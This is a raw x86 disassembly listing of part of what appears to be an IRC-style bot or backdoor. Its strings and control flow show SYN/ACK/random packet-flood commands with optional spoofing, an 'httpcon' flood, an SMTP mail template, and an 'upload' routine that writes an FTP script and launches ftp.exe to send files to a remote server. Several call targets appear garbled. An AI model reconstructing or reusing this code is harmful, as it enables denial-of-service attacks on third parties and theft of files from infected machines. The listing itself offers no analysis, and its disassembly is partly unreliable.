		call	sub_41BEB0
		push	offset asc_42CA2C ; " "
		push	offset dword_42B4FC
		push	[ebp+esi+var_7C]
		call	sub_417EEE
		push	eax
		lea	eax, [ebp+var_4288]
		push	eax
		call	sub_41BEB0
		add	esp, 30h
		lea	eax, [ebp+var_5588]
		push	eax
		push	101h
		call	dword_4CAEE4
		lea	eax, [ebp+var_47EC]
		push	eax
		call	dword_4CAFF8
		push	6
		push	1
		push	2
		mov	edi, eax
		call	dword_4CAFF4
		push	[ebp+arg_10]
		mov	esi, eax
		mov	[ebp+var_31C], 2
		mov	eax, [edi+0Ch]
		mov	eax, [eax]
		mov	eax, [eax]
		mov	[ebp+var_318], eax
		call	dword_4CAF74
		mov	[ebp+var_31A], ax
		lea	eax, [ebp+var_4288]
		push	eax
		lea	eax, [ebp+var_4188]
		push	eax
		lea	eax, [ebp+var_4288]
		push	eax
		lea	eax, [ebp+var_4588]
		push	eax
		lea	eax, [ebp+var_4188]
		push	eax
		lea	eax, [ebp+var_5988]
		push	offset aHeloRndnickMai ; "helo $rndnick\nmail from: <%s>\nrcpt to: "...
		push	eax
		call	sub_41B886
		add	esp, 1Ch
		lea	eax, [ebp+var_31C]
		push	10h
		push	eax
		push	esi
		call	dword_4CAF1C
		mov	edi, 100h
		push	ebx
		lea	eax, [ebp+var_4088]
		push	edi
		push	eax
		push	esi
		call	dword_4CAF8C
		lea	eax, [ebp+var_4088]
		push	ebx
		push	eax
		call	sub_41AFE0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_5988]
		push	eax
		push	esi
		call	dword_4CAFC4
		push	ebx
		lea	eax, [ebp+var_4088]
		push	edi
		push	eax
		push	esi
		call	dword_4CAF8C
		push	esi
		call	dword_4CB00C
		call	dword_4CAECC
		lea	eax, [ebp+var_4588]
		push	eax
		push	offset unk_42A9CC


loc_406CCF:				; CODE XREF: sub_401ACD+2E82j
					; sub_401ACD+4666j ...
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_41B886


loc_406CDB:				; CODE XREF: sub_401ACD+248Bj
		add	esp, 0Ch


loc_406CDE:				; CODE XREF: sub_401ACD+4584j
					; sub_401ACD+6653j ...
		cmp	[ebp+var_8], ebx
		jnz	short loc_406CFF
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409A72
		add	esp, 14h


loc_406CFF:				; CODE XREF: sub_401ACD+29B2j
					; sub_401ACD+2A05j ...
		mov	esi, [ebp+arg_24]


loc_406D02:				; CODE XREF: sub_401ACD+68F2j
					; sub_401ACD+78E2j ...
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_4151AC
		pop	ecx
		mov	eax, esi
		jmp	loc_401E97
; ---------------------------------------------------------------------------


loc_406D16:				; CODE XREF: sub_401ACD+50ACj
		push	[ebp+arg_8]
		push	offset aHttpcon	; "httpcon"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_406D40
		push	[ebp+arg_8]
		push	offset aHcon	; "hcon"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_4072E8


loc_406D40:				; CODE XREF: sub_401ACD+525Aj
		push	[ebp+esi+var_7C]
		push	[ebp+arg_18]
		push	[ebp+arg_0]
		push	edi
		call	sub_41B779
		pop	ecx
		push	eax
		push	[ebp+arg_10]
		push	[ebp+var_8]
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_4100DB
		jmp	loc_4040AA
; ---------------------------------------------------------------------------


loc_406D6E:				; CODE XREF: sub_401ACD+507Ej
					; sub_401ACD+5095j
		push	[ebp+arg_10]
		mov	esi, 80h
		lea	eax, [ebp+var_1354]
		push	esi
		push	eax
		call	sub_41B980
		lea	eax, [ebp+var_1354]
		push	eax
		push	offset aSyn	; "syn"
		call	sub_41C070
		add	esp, 14h
		test	eax, eax
		jz	short loc_406DD3
		lea	eax, [ebp+var_1354]
		push	eax
		push	offset aAck	; "ack"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_406DD3
		lea	eax, [ebp+var_1354]
		push	eax
		push	offset aRandom_0 ; "random"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_406DD3
		push	offset unk_42A984
		jmp	loc_406F04
; ---------------------------------------------------------------------------


loc_406DD3:				; CODE XREF: sub_401ACD+52CCj
					; sub_401ACD+52E3j ...
		push	[ebp+arg_18]
		call	sub_41B779
		cmp	eax, ebx
		pop	ecx
		mov	[ebp+var_124C],	eax
		jle	loc_406EFF
		push	[ebp+arg_10]
		lea	eax, [ebp+var_1354]
		push	esi
		push	eax
		call	sub_41B980
		add	esp, 0Ch
		lea	eax, [ebp+var_13D4]
		push	edi
		push	esi
		push	eax
		call	sub_41B980
		push	[ebp+arg_0]
		call	sub_41B779
		mov	[ebp+var_1250],	eax
		add	esp, 10h
		xor	eax, eax
		cmp	[ebp+var_8EE], bl
		push	[ebp+var_88]
		setnz	al
		mov	[ebp+var_1248],	eax
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_13D8],	eax
		lea	eax, [ebp+var_12D4]
		push	esi
		push	eax
		call	sub_41B980
		mov	eax, [ebp+var_4]
		add	esp, 0Ch
		cmp	[ebp+var_1248],	ebx
		mov	[ebp+var_1244],	eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_1240],	eax
		mov	eax, offset aSpoofed ; "Spoofed"
		jnz	short loc_406E70
		mov	eax, offset aNormal ; "Normal"


loc_406E70:				; CODE XREF: sub_401ACD+539Cj
		push	[ebp+arg_18]
		push	[ebp+arg_0]
		push	edi
		push	[ebp+arg_10]
		push	eax
		push	offset unk_42A940
		lea	eax, [ebp+var_2C4]
		push	200h
		push	eax
		call	sub_41B980
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	14h
		push	eax
		call	sub_40B0F6
		add	esp, 2Ch
		mov	[ebp+var_1254],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_13D8]
		push	ebx
		push	eax
		push	offset byte_413E35
		push	ebx
		push	ebx
		call	near ptr 2670000h
		nop
		mov	ecx, [ebp+var_1254]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43DEC4[ecx], eax
		jz	short loc_406EEE


loc_406ED8:				; CODE XREF: sub_401ACD+541Fj
		cmp	[ebp+var_123C],	ebx
		jnz	loc_40828B
		push	32h
		nop
		call	near ptr 2660F23h
		jmp	short loc_406ED8
; ---------------------------------------------------------------------------


loc_406EEE:				; CODE XREF: sub_401ACD+5409j
		call	near ptr 2670859h
		nop
		push	eax
		push	offset unk_42A908
		jmp	loc_4049EB
; ---------------------------------------------------------------------------


loc_406EFF:				; CODE XREF: sub_401ACD+5317j
		push	offset unk_42A8D0


loc_406F04:				; CODE XREF: sub_401ACD+2018j
					; sub_401ACD+202Ej ...
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_41B886
		pop	ecx
		pop	ecx
		jmp	loc_40828B
; ---------------------------------------------------------------------------


loc_406F17:				; CODE XREF: sub_401ACD+5039j
					; sub_401ACD+5050j ...
		cmp	dword_4CB064, ebx
		jnz	loc_407026
		mov	eax, [ebp+var_8]
		push	7Fh
		push	[ebp+arg_10]
		mov	[ebp+var_FF4], eax
		mov	eax, [ebp+var_4]
		mov	[ebp+var_FF8], eax
		lea	eax, [ebp+var_108C]
		push	eax
		call	sub_41B5F0
		push	edi
		call	sub_41B779
		push	[ebp+arg_0]
		mov	[ebp+var_100C],	eax
		call	sub_41B779
		push	[ebp+arg_18]
		mov	[ebp+var_1008],	eax
		call	sub_41B779
		push	7Fh
		mov	[ebp+var_1004],	eax
		push	[ebp+var_88]
		lea	eax, [ebp+var_110C]
		push	eax
		call	sub_41B5F0
		mov	eax, [ebp+arg_4]
		add	esp, 24h
		mov	[ebp+var_1110],	eax
		lea	eax, [ebp+var_108C]
		push	[ebp+var_1004]
		push	[ebp+var_1008]
		push	eax
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_100C]
		push	offset unk_42A888
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	16h
		push	eax
		call	sub_40B0F6
		add	esp, 24h
		mov	[ebp+var_FFC], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_1110]
		push	ebx
		push	eax
		push	offset dword_413284
		push	ebx
		push	ebx
		nop
		call	near ptr 2670000h
		mov	ecx, [ebp+var_FFC]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43DEC4[ecx], eax
		jz	short loc_407015


loc_406FFF:				; CODE XREF: sub_401ACD+5546j
		cmp	[ebp+var_FF0], ebx
		jnz	loc_40828B
		push	32h
		nop
		call	near ptr 2660F23h
		jmp	short loc_406FFF
; ---------------------------------------------------------------------------


loc_407015:				; CODE XREF: sub_401ACD+5530j
		call	near ptr 2670859h
		nop
		push	eax
		push	offset unk_42A850
		jmp	loc_4049EB
; ---------------------------------------------------------------------------


loc_407026:				; CODE XREF: sub_401ACD+5450j
		push	1FFh
		lea	eax, [ebp+var_2C4]
		push	offset aIcmp_dllNotAva ; "ICMP.dll not available"
		push	eax
		call	sub_41B5F0
		jmp	loc_408288
; ---------------------------------------------------------------------------


loc_407041:				; CODE XREF: sub_401ACD+500Bj
					; sub_401ACD+5022j
		push	edi
		lea	eax, [ebp+var_2C4]
		push	[ebp+arg_10]
		push	[ebp+arg_0]
		push	offset unk_42A7FC
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409A72
		push	[ebp+arg_0]
		call	sub_41AFE0
		mov	edx, eax
		push	edi
		mov	edi, edx
		call	sub_41AFE0
		push	[ebp+arg_10]
		add	edi, eax
		call	sub_41AFE0
		push	[ebp+arg_8]
		add	edi, eax
		call	sub_41AFE0
		add	eax, [ebp+var_C]
		push	[ebp+arg_18]
		lea	eax, [eax+edi+7]
		push	eax
		call	sub_41B900
		add	esp, 40h
		mov	[ebp+arg_C], eax
		push	[ebp+arg_0]
		call	sub_41B779
		mov	edi, [ebp+arg_1C]
		cmp	eax, ebx
		pop	ecx
		mov	[ebp+arg_14], eax
		mov	[ebp+arg_20], ebx
		jle	short loc_40713B


loc_4070C4:				; CODE XREF: sub_401ACD+561Bj
		push	[ebp+arg_C]
		push	edi
		push	[ebp+arg_10]
		call	sub_4185A4
		add	esp, 0Ch
		cmp	eax, 1
		mov	[ebp+arg_1C], eax
		jz	short loc_4070EC
		cmp	eax, ebx
		jnz	short loc_40710B
		inc	[ebp+arg_20]
		mov	eax, [ebp+arg_20]
		cmp	eax, [ebp+arg_14]
		jl	short loc_4070C4
		jmp	short loc_407144
; ---------------------------------------------------------------------------


loc_4070EC:				; CODE XREF: sub_401ACD+560Cj
		push	ebx
		push	[ebp+var_4]
		push	offset unk_42A7C4


loc_4070F5:				; CODE XREF: sub_401ACD+5680j
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409A72
		add	esp, 14h
		jmp	loc_4072E8
; ---------------------------------------------------------------------------


loc_40710B:				; CODE XREF: sub_401ACD+5610j
		push	[ebp+arg_1C]
		lea	eax, [ebp+var_2C4]
		push	offset unk_42A790
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409A72
		add	esp, 20h


loc_40713B:				; CODE XREF: sub_401ACD+55F5j
		cmp	[ebp+arg_1C], ebx
		jnz	loc_4072E8


loc_407144:				; CODE XREF: sub_401ACD+561Dj
		push	ebx
		push	[ebp+var_4]
		push	offset unk_42A75C
		jmp	short loc_4070F5
; ---------------------------------------------------------------------------


loc_40714F:				; CODE XREF: sub_401ACD+4FC6j
					; sub_401ACD+4FDDj ...
		mov	eax, [ebp+var_8]
		push	7Fh
		push	[ebp+arg_10]
		mov	[ebp+var_C64], eax
		mov	eax, [ebp+var_4]
		mov	[ebp+var_C68], eax
		lea	eax, [ebp+var_CFC]
		push	eax
		call	sub_41B5F0
		push	edi
		call	sub_41B779
		push	[ebp+arg_0]
		mov	[ebp+var_C7C], eax
		call	sub_41B779
		push	[ebp+arg_18]
		mov	[ebp+var_C78], eax
		call	sub_41B779
		mov	esi, [ebp+esi+var_7C]
		add	esp, 18h
		cmp	esi, ebx
		mov	[ebp+var_C74], eax
		jz	short loc_4071B4
		push	esi
		call	sub_41B779
		pop	ecx
		mov	[ebp+var_C70], eax
		jmp	short loc_4071BA
; ---------------------------------------------------------------------------


loc_4071B4:				; CODE XREF: sub_401ACD+56D6j
		mov	[ebp+var_C70], ebx


loc_4071BA:				; CODE XREF: sub_401ACD+56E5j
		push	7Fh
		lea	eax, [ebp+var_D7C]
		push	[ebp+var_88]
		push	eax
		call	sub_41B5F0
		add	esp, 0Ch
		mov	esi, [ebp+arg_4]
		lea	eax, [ebp+var_CFC]
		mov	[ebp+var_D80], esi
		push	[ebp+var_C74]
		push	[ebp+var_C78]
		push	eax
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_C7C]
		push	offset unk_42A714
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	17h
		push	eax
		call	sub_40B0F6
		add	esp, 24h
		mov	[ebp+var_C6C], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_D80]
		push	ebx
		push	eax
		push	offset dword_413410
		push	ebx
		push	ebx
		nop
		call	near ptr 2670000h
		mov	ecx, [ebp+var_C6C]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43DEC4[ecx], eax
		jz	short loc_40725D


loc_40724B:				; CODE XREF: sub_401ACD+578Ej
		cmp	[ebp+var_C60], ebx
		jnz	short loc_407278
		push	32h
		nop
		call	near ptr 2660F23h
		jmp	short loc_40724B
; ---------------------------------------------------------------------------


loc_40725D:				; CODE XREF: sub_401ACD+577Cj
		nop
		call	near ptr 2670859h
		push	eax
		push	offset unk_42A6DC


loc_407269:				; CODE XREF: sub_401ACD+4E31j
					; sub_401ACD+62BEj ...
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_41B886
		add	esp, 0Ch


loc_407278:				; CODE XREF: sub_401ACD+4E15j
					; sub_401ACD+5784j ...
		cmp	[ebp+var_8], ebx
		jnz	loc_4083BC
		push	ebx
		push	[ebp+var_4]


loc_407285:				; CODE XREF: sub_401ACD+22DEj
		lea	eax, [ebp+var_2C4]
		push	eax
		push	[ebp+var_88]
		push	esi
		jmp	loc_4082A8
; ---------------------------------------------------------------------------


loc_407298:				; CODE XREF: sub_401ACD+4F98j
					; sub_401ACD+4FAFj
		push	0Bh
		call	sub_40B33E
		push	edi
		mov	[ebp+arg_1C], eax
		call	sub_41B779
		add	eax, [ebp+arg_1C]
		pop	ecx
		pop	ecx
		cmp	eax, 1F4h
		jle	loc_407454
		push	[ebp+arg_1C]
		lea	eax, [ebp+var_2C4]
		push	offset unk_42A69C
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409A72
		add	esp, 20h


loc_4072E8:				; CODE XREF: sub_401ACD+526Dj
					; sub_401ACD+5639j ...
		mov	esi, [ebp+esi+var_7C]
		cmp	esi, ebx
		jz	loc_401E94
		push	[ebp+arg_8]
		push	offset aUpload	; "upload"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_409854
		push	4
		push	esi
		call	sub_416908
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_407324
		push	esi
		push	offset unk_42A674
		jmp	loc_408CDB
; ---------------------------------------------------------------------------


loc_407324:				; CODE XREF: sub_401ACD+584Aj
		nop
		call	near ptr 2680600h
		push	eax
		call	sub_41B8D8
		pop	ecx
		call	sub_41B8E2
		push	9
		cdq
		pop	ecx
		idiv	ecx
		push	edx
		call	sub_41B8E2
		push	63h
		cdq
		pop	ecx
		idiv	ecx
		push	edx
		call	sub_41B8E2
		cdq
		mov	ecx, 3E7h
		idiv	ecx
		lea	eax, [ebp+var_51F8]
		push	edx
		push	eax
		lea	eax, [ebp+var_2E58]
		push	offset aSIII_dll ; "%s\\%i%i%i.dll"
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2E58]
		push	offset aAb	; "ab"
		push	eax
		call	sub_41B4C2
		add	esp, 20h
		cmp	eax, ebx
		mov	[ebp+arg_24], eax
		jz	loc_401E94
		push	esi
		push	[ebp+arg_18]
		push	[ebp+arg_0]
		push	edi
		push	[ebp+arg_10]
		push	offset aOpenSSSSPutSBy ; "open %s\r\n%s\r\n%s\r\n%s\r\nput %s\r\nbye\r\n"
		push	eax
		call	sub_41BE06
		push	[ebp+arg_24]
		call	sub_41B05B
		add	esp, 20h
		lea	eax, [ebp+var_2E58]
		push	eax
		lea	eax, [ebp+var_4CF0]
		push	offset aSS_2	; "-s:%s"
		push	eax
		call	sub_41B886
		add	esp, 0Ch
		lea	eax, [ebp+var_4CF0]
		push	ebx
		push	ebx
		push	eax
		push	offset aFtp_exe	; "ftp.exe"
		push	offset aOpen	; "open"
		push	ebx
		call	dword_4CAEE0
		push	[ebp+arg_10]
		test	eax, eax
		push	esi
		jz	short loc_4073F3
		push	offset unk_42A604
		jmp	short loc_4073F8
; ---------------------------------------------------------------------------


loc_4073F3:				; CODE XREF: sub_401ACD+591Dj
		push	offset unk_42A5D4


loc_4073F8:				; CODE XREF: sub_401ACD+5924j
		call	sub_41B886
		add	esp, 0Ch
		cmp	[ebp+var_8], ebx
		jnz	short loc_407421
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409A72
		add	esp, 14h


loc_407421:				; CODE XREF: sub_401ACD+5936j
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_4151AC


loc_40742D:				; CODE XREF: sub_401ACD+5985j
		lea	eax, [ebp+var_2E58]
		push	4
		push	eax
		call	sub_416908
		add	esp, 0Ch
		test	eax, eax
		jz	loc_401E94
		lea	eax, [ebp+var_2E58]
		push	eax
		call	sub_41BDDC
		jmp	short loc_40742D
; ---------------------------------------------------------------------------


loc_407454:				; CODE XREF: sub_401ACD+57E5j
		push	[ebp+arg_10]
		call	sub_41B779
		push	edi
		mov	[ebp+var_370], eax
		call	sub_41B779
		push	[ebp+arg_0]
		mov	[ebp+var_358], eax
		call	sub_41B779
		add	esp, 0Ch
		cmp	eax, 5
		mov	[ebp+var_36C], eax
		jnb	short loc_40748D
		push	5
		pop	eax
		mov	[ebp+var_36C], eax


loc_40748D:				; CODE XREF: sub_401ACD+59B5j
		push	3Ch
		pop	ecx
		cmp	eax, ecx
		jbe	short loc_40749A
		mov	[ebp+var_36C], ecx


loc_40749A:				; CODE XREF: sub_401ACD+59C5j
		push	[ebp+arg_18]
		call	sub_41B779
		mov	[ebp+var_368], eax
		mov	eax, 320h
		cmp	[ebp+var_368], eax
		pop	ecx
		jbe	short loc_4074BC
		mov	[ebp+var_368], eax


loc_4074BC:				; CODE XREF: sub_401ACD+59E7j
		or	[ebp+var_354], 0FFFFFFFFh
		cmp	dword_431408, ebx
		mov	[ebp+arg_20], ebx
		jz	short loc_40750B
		mov	edi, offset dword_431408


loc_4074D3:				; CODE XREF: sub_401ACD+5A20j
		push	[ebp+arg_10]
		lea	eax, [edi-28h]
		push	eax
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_4074F1
		inc	[ebp+arg_20]
		add	edi, 40h
		cmp	[edi], ebx
		jnz	short loc_4074D3
		jmp	short loc_40750B
; ---------------------------------------------------------------------------


loc_4074F1:				; CODE XREF: sub_401ACD+5A16j
		mov	eax, [ebp+arg_20]
		mov	ecx, eax
		mov	[ebp+var_354], eax
		shl	ecx, 6
		mov	ecx, dword_431408[ecx]
		mov	[ebp+var_370], ecx


loc_40750B:				; CODE XREF: sub_401ACD+59FFj
					; sub_401ACD+5A22j
		cmp	[ebp+var_370], ebx
		jnz	short loc_40751D
		push	offset unk_42A5A0
		jmp	loc_406F04
; ---------------------------------------------------------------------------


loc_40751D:				; CODE XREF: sub_401ACD+5A44j
		mov	edi, [ebp+esi+var_7C]
		cmp	edi, ebx
		mov	[ebp+arg_0], edi
		jz	short loc_407558
		cmp	byte ptr [edi],	23h
		jz	short loc_407558
		push	edi
		lea	eax, [ebp+var_484]
		push	10h
		push	eax
		call	sub_41B980
		push	78h
		push	edi
		call	sub_41BFB0
		add	esp, 14h
		neg	eax
		sbb	eax, eax
		neg	eax
		mov	[ebp+var_344], eax
		jmp	loc_407632
; ---------------------------------------------------------------------------


loc_407558:				; CODE XREF: sub_401ACD+5A59j
					; sub_401ACD+5A5Ej
		cmp	[ebp+var_8FF], bl
		jnz	short loc_40757A
		cmp	[ebp+var_8FE], bl
		jnz	short loc_40757A
		cmp	[ebp+var_8EE], bl
		jnz	short loc_40757A
		push	offset unk_42A56C
		jmp	loc_406F04
; ---------------------------------------------------------------------------


loc_40757A:				; CODE XREF: sub_401ACD+5A91j
					; sub_401ACD+5A99j ...
		push	10h
		lea	eax, [ebp+var_2D0]
		pop	edi
		push	eax
		lea	eax, [ebp+var_2F8]
		push	eax
		mov	[ebp+var_2D0], edi
		push	[ebp+arg_4]
		call	dword_4CAF18
		mov	al, [ebp+var_8FF]
		push	edi
		neg	al
		sbb	eax, eax
		and	ax, 100h
		add	eax, 0FFFFh
		and	[ebp+var_2F4], eax
		push	[ebp+var_2F4]
		call	dword_4CB000
		push	eax
		lea	eax, [ebp+var_484]
		push	eax
		call	sub_41B5F0
		add	esp, 0Ch
		cmp	[ebp+var_8EE], bl
		jz	short loc_40762C
		xor	eax, eax
		cmp	[ebp+var_8FF], bl
		push	30h
		setnz	al
		inc	eax
		inc	eax
		mov	edi, eax
		lea	eax, [ebp+var_484]
		push	eax
		call	sub_41BE40
		pop	ecx
		cmp	edi, ebx
		pop	ecx
		mov	byte ptr [ebp+arg_24+3], bl
		jle	short loc_407620


loc_4075FE:				; CODE XREF: sub_401ACD+5B51j
		cmp	eax, ebx
		jz	short loc_407620
		mov	byte ptr [eax],	78h
		lea	eax, [ebp+var_484]
		push	30h
		push	eax
		call	sub_41BE40
		inc	byte ptr [ebp+arg_24+3]
		pop	ecx
		pop	ecx
		movsx	ecx, byte ptr [ebp+arg_24+3]
		cmp	ecx, edi
		jl	short loc_4075FE


loc_407620:				; CODE XREF: sub_401ACD+5B2Fj
					; sub_401ACD+5B33j
		mov	[ebp+var_344], 1
		jmp	short loc_407632
; ---------------------------------------------------------------------------


loc_40762C:				; CODE XREF: sub_401ACD+5B09j
		mov	[ebp+var_344], ebx


loc_407632:				; CODE XREF: sub_401ACD+5A86j
					; sub_401ACD+5B5Dj
		mov	eax, [ebp+arg_4]
		push	[ebp+var_88]
		mov	[ebp+var_374], eax
		mov	eax, [ebp+var_4]
		mov	[ebp+var_34C], eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_348], eax
		mov	edi, 80h
		lea	eax, [ebp+var_474]
		push	edi
		push	eax
		call	sub_41B980
		mov	esi, [ebp+esi+var_78]
		add	esp, 0Ch
		cmp	esi, ebx
		jz	short loc_407683


loc_407670:				; CODE XREF: sub_401ACD+5BD9j
		push	esi


loc_407671:				; CODE XREF: sub_401ACD+5BC3j
		lea	eax, [ebp+var_3F4]
		push	edi
		push	eax
		call	sub_41B980
		add	esp, 0Ch
		jmp	short loc_4076AE
; ---------------------------------------------------------------------------


loc_407683:				; CODE XREF: sub_401ACD+5BA1j
		mov	eax, [ebp+arg_0]
		cmp	eax, ebx
		jz	short loc_407692
		cmp	byte ptr [eax],	23h
		jnz	short loc_407692
		push	eax
		jmp	short loc_407671
; ---------------------------------------------------------------------------


loc_407692:				; CODE XREF: sub_401ACD+5BBBj
					; sub_401ACD+5BC0j
		mov	esi, offset aF	; "#f"
		push	offset dword_43D128
		push	esi
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_407670
		mov	[ebp+var_3F4], bl


loc_4076AE:				; CODE XREF: sub_401ACD+5BB4j
		cmp	[ebp+var_344], ebx
		mov	eax, offset aRandom ; "Random"
		jnz	short loc_4076C0
		mov	eax, offset aSequential	; "Sequential"


loc_4076C0:				; CODE XREF: sub_401ACD+5BECj
		push	[ebp+var_358]
		lea	ecx, [ebp+var_484]
		push	[ebp+var_368]
		push	[ebp+var_36C]
		push	[ebp+var_370]
		push	ecx
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset unk_42A504
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	0Bh
		push	eax
		call	sub_40B0F6
		add	esp, 2Ch
		mov	[ebp+var_364], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_484]
		push	ebx
		push	eax
		push	offset loc_40C33C
		push	ebx
		push	ebx
		nop
		call	near ptr 2670000h
		mov	ecx, [ebp+var_364]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43DEC4[ecx], eax
		jz	short loc_40774E


loc_407738:				; CODE XREF: sub_401ACD+5C7Fj
		cmp	[ebp+var_340], ebx
		jnz	loc_40828B
		push	32h
		nop
		call	near ptr 2660F23h
		jmp	short loc_407738
; ---------------------------------------------------------------------------


loc_40774E:				; CODE XREF: sub_401ACD+5C69j
		call	near ptr 2670859h
		nop
		push	eax
		push	offset unk_42A4CC
		jmp	loc_4049EB
; ---------------------------------------------------------------------------


loc_40775F:				; CODE XREF: sub_401ACD+4F6Aj
					; sub_401ACD+4F81j
		push	[ebp+arg_10]
		call	sub_40AAF9
		push	edi
		mov	[ebp+var_4E0], eax
		call	sub_41B779
		push	[ebp+arg_0]
		mov	[ebp+var_4F0], eax
		call	sub_41B779
		push	[ebp+arg_18]
		mov	[ebp+var_4EC], eax
		call	sub_41B779
		mov	esi, [ebp+arg_4]
		push	7Fh
		push	[ebp+var_88]
		mov	[ebp+var_4E8], eax
		lea	eax, [ebp+var_570]
		mov	[ebp+var_574], esi
		push	eax
		call	sub_41B5F0
		add	esp, 1Ch
		mov	edi, [ebp+var_4]
		mov	eax, [ebp+var_8]
		mov	[ebp+var_4D8], edi
		push	[ebp+var_4EC]
		mov	[ebp+var_4D4], eax
		push	[ebp+var_4F0]
		push	[ebp+var_4E8]
		push	[ebp+var_4E0]
		call	dword_4CB000
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset unk_42A47C
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	0Bh
		push	eax
		call	sub_40B0F6
		add	esp, 24h
		mov	[ebp+var_4E4], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_574]
		push	ebx
		push	eax
		push	offset byte_40C759
		push	ebx
		push	ebx
		call	near ptr 2670000h
		nop
		mov	ecx, [ebp+var_4E4]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43DEC4[ecx], eax
		jz	short loc_407854


loc_40783E:				; CODE XREF: sub_401ACD+5D85j
		cmp	[ebp+var_4D0], ebx
		jnz	loc_403DA0
		push	32h
		call	near ptr 2660F23h
		nop
		jmp	short loc_40783E
; ---------------------------------------------------------------------------


loc_407854:				; CODE XREF: sub_401ACD+5D6Fj
		call	near ptr 2670859h
		nop
		push	eax
		push	offset unk_42A440
		jmp	loc_403D91
; ---------------------------------------------------------------------------


loc_407865:				; CODE XREF: sub_401ACD+4F2Dj
					; sub_401ACD+4F44j
		push	[ebp+arg_10]
		call	sub_41B779
		imul	eax, 234h
		pop	ecx
		cmp	byte_43DEC8[eax], bl
		jz	loc_409854
		cmp	[ebp+var_C], ebx
		jz	loc_409854
		push	edi
		call	sub_41AFE0
		push	[ebp+arg_10]
		mov	esi, eax
		call	sub_41AFE0
		push	[ebp+arg_8]
		add	esi, eax
		call	sub_41AFE0
		add	eax, [ebp+var_C]
		push	[ebp+arg_0]
		lea	eax, [eax+esi+2]
		push	eax
		call	sub_41B900
		add	esp, 14h
		mov	esi, eax
		lea	eax, [ebp+var_2C4]
		push	esi
		push	offset dword_42A434
		push	eax
		call	sub_41B886
		add	esp, 0Ch
		cmp	esi, ebx
		jz	loc_409854
		push	[ebp+arg_10]
		call	sub_41B779
		test	eax, eax
		pop	ecx
		jle	loc_409854
		push	[ebp+arg_10]
		call	sub_41B779
		cmp	eax, 400h
		pop	ecx
		jge	loc_409854
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	ebx
		push	eax
		push	edi
		push	[ebp+arg_10]
		call	sub_41B779
		imul	eax, 234h
		pop	ecx
		push	dword_43DEBC[eax]
		call	sub_409A72
		push	[ebp+arg_10]
		call	sub_41B779
		imul	eax, 234h
		add	esp, 18h
		cmp	byte ptr dword_43DCB0[eax], 73h
		jnz	loc_409854
		push	esi
		push	[ebp+arg_10]
		call	sub_41B779
		imul	eax, 234h
		pop	ecx
		add	eax, offset byte_43DEC8
		push	eax
		push	edi
		push	offset aSSS_2	; "[%s]	* %s %s"
		jmp	loc_407A35
; ---------------------------------------------------------------------------


loc_40795D:				; CODE XREF: sub_401ACD+4EFFj
					; sub_401ACD+4F16j
		push	[ebp+arg_10]
		call	sub_41B779
		imul	eax, 234h
		pop	ecx
		cmp	byte_43DEC8[eax], bl
		jz	loc_409854
		cmp	[ebp+var_C], ebx
		jz	loc_409854
		push	edi
		call	sub_41AFE0
		push	[ebp+arg_10]
		mov	esi, eax
		call	sub_41AFE0
		push	[ebp+arg_8]
		add	esi, eax
